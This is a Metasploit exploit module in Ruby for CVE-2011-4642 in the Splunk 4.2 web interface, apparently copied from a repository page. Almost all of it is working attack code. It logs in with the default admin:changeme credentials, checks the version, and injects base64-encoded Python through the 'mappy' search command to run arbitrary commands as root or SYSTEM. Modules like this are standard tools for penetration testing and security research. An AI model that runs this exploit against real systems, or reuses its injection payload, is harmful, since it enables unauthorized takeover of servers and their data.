metasploit-framework/modules/exploits/multi/http/splunk_mappy_exec.rb

177 lines
4.6 KiB
Ruby

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Splunk Search Remote Code Execution',
'Description' => %q{
This module abuses a command execution vulnerability in the
web based interface of Splunk 4.2 to 4.2.4. The vulnerability exists
in the 'mappy' search command which allows attackers to run Python code.
To exploit this vulnerability, a valid Splunk user with the admin
role is required. By default, this module uses the credential of "admin:changeme",
the default Administrator credential for Splunk. Note that the Splunk web interface
runs as SYSTEM on Windows and as root on Linux by default.
},
'Author' =>
[
"Gary O'Leary-Steele", # Vulnerability discovery and exploit
"juan vazquez" # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'OSVDB', '77695' ],
[ 'BID', '51061' ],
[ 'CVE', '2011-4642' ],
[ 'URL', 'http://www.splunk.com/view/SP-CAAAGMM' ],
[ 'URL', 'http://www.sec-1.com/blog/?p=233' ],
[ 'URL', 'http://www.sec-1.com/blog/wp-content/uploads/2011/12/Attacking_Splunk_Release.pdf' ],
[ 'URL', 'http://www.sec-1.com/blog/wp-content/uploads/2011/12/splunkexploit.zip' ]
],
'Payload' =>
{
'Space' => 1024,
'Badchars' => '',
'DisableNops' => true
},
'Targets' =>
[
[
'Universal CMD',
{
'Arch' => ARCH_CMD,
'Platform' => ['unix', 'win', 'linux']
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Dec 12 2011'))
register_options(
[
Opt::RPORT(8000),
OptString.new('USERNAME', [ true, 'The username with admin role to authenticate as','admin' ]),
OptString.new('PASSWORD', [ true, 'The password for the specified username','changeme' ])
], self.class)
end
def exploit
@username = datastore['USERNAME']
@password = datastore['PASSWORD']
@auth_cookies = ''
p = payload.encoded
print_status("Using command: #{p}")
cmd = Rex::Text.encode_base64(p)
print_status("Attempting to login...")
do_login
send_request_cgi(
{
'uri' => '/en-US/api/search/jobs',
'method' => 'POST',
'cookie' => @auth_cookies,
'headers' =>
{
'X-Requested-With' => 'XMLHttpRequest',
'X-Splunk-Session' => @auth_cookies.split("=")[1]
},
'vars_post' =>
{
'search' => "search index=_internal source=*splunkd.log |mappy x=eval(\"sys.modules['os'].system(base64.b64decode('#{cmd}'))\")",
'status_buckets' => "300",
'earliest_time' => "0",
'latest_time' => ""
}
}, 25)
handler
end
def check
res = send_request_cgi(
{
'uri' => '/en-US/account/login',
'method' => 'GET'
}, 25)
if res and res.body =~ /Splunk Inc\. Splunk 4\.[0-2]\.[0-4] build [\d+]/
return Exploit::CheckCode::Appears
else
return Exploit::CheckCode::Safe
end
end
def do_login
res = send_request_cgi(
{
'uri' => '/en-US/account/login',
'method' => 'GET'
}, 25)
cval = ''
uid = ''
session_id_port =
session_id = ''
if res and res.code == 200 and res.headers['Set-Cookie']
res.headers['Set-Cookie'].split(';').each {|c|
c.split(',').each {|v|
if v.split('=')[0] =~ /cval/
cval = v.split('=')[1]
elsif v.split('=')[0] =~ /uid/
uid = v.split('=')[1]
elsif v.split('=')[0] =~ /session_id/
session_id_port = v.split('=')[0]
session_id = v.split('=')[1]
end
}
}
else
fail_with(Exploit::Failure::NotFound, "Unable to get session cookies")
end
res = send_request_cgi(
{
'uri' => '/en-US/account/login',
'method' => 'POST',
'cookie' => "uid=#{uid}; #{session_id_port}=#{session_id}; cval=#{cval}",
'vars_post' =>
{
'cval' => cval,
'username' => @username,
'password' => @password
}
}, 25)
if not res or res.code != 303
fail_with(Exploit::Failure::NoAccess, "Unable to authenticate")
else
session_id_port = ''
session_id = ''
res.headers['Set-Cookie'].split(';').each {|c|
c.split(',').each {|v|
if v.split('=')[0] =~ /session_id/
session_id_port = v.split('=')[0]
session_id = v.split('=')[1]
end
}
}
@auth_cookies = "#{session_id_port}=#{session_id}"
end
end
end